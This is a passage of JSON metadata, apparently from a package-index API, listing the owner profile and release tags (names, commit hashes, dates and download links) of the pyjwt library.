","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyj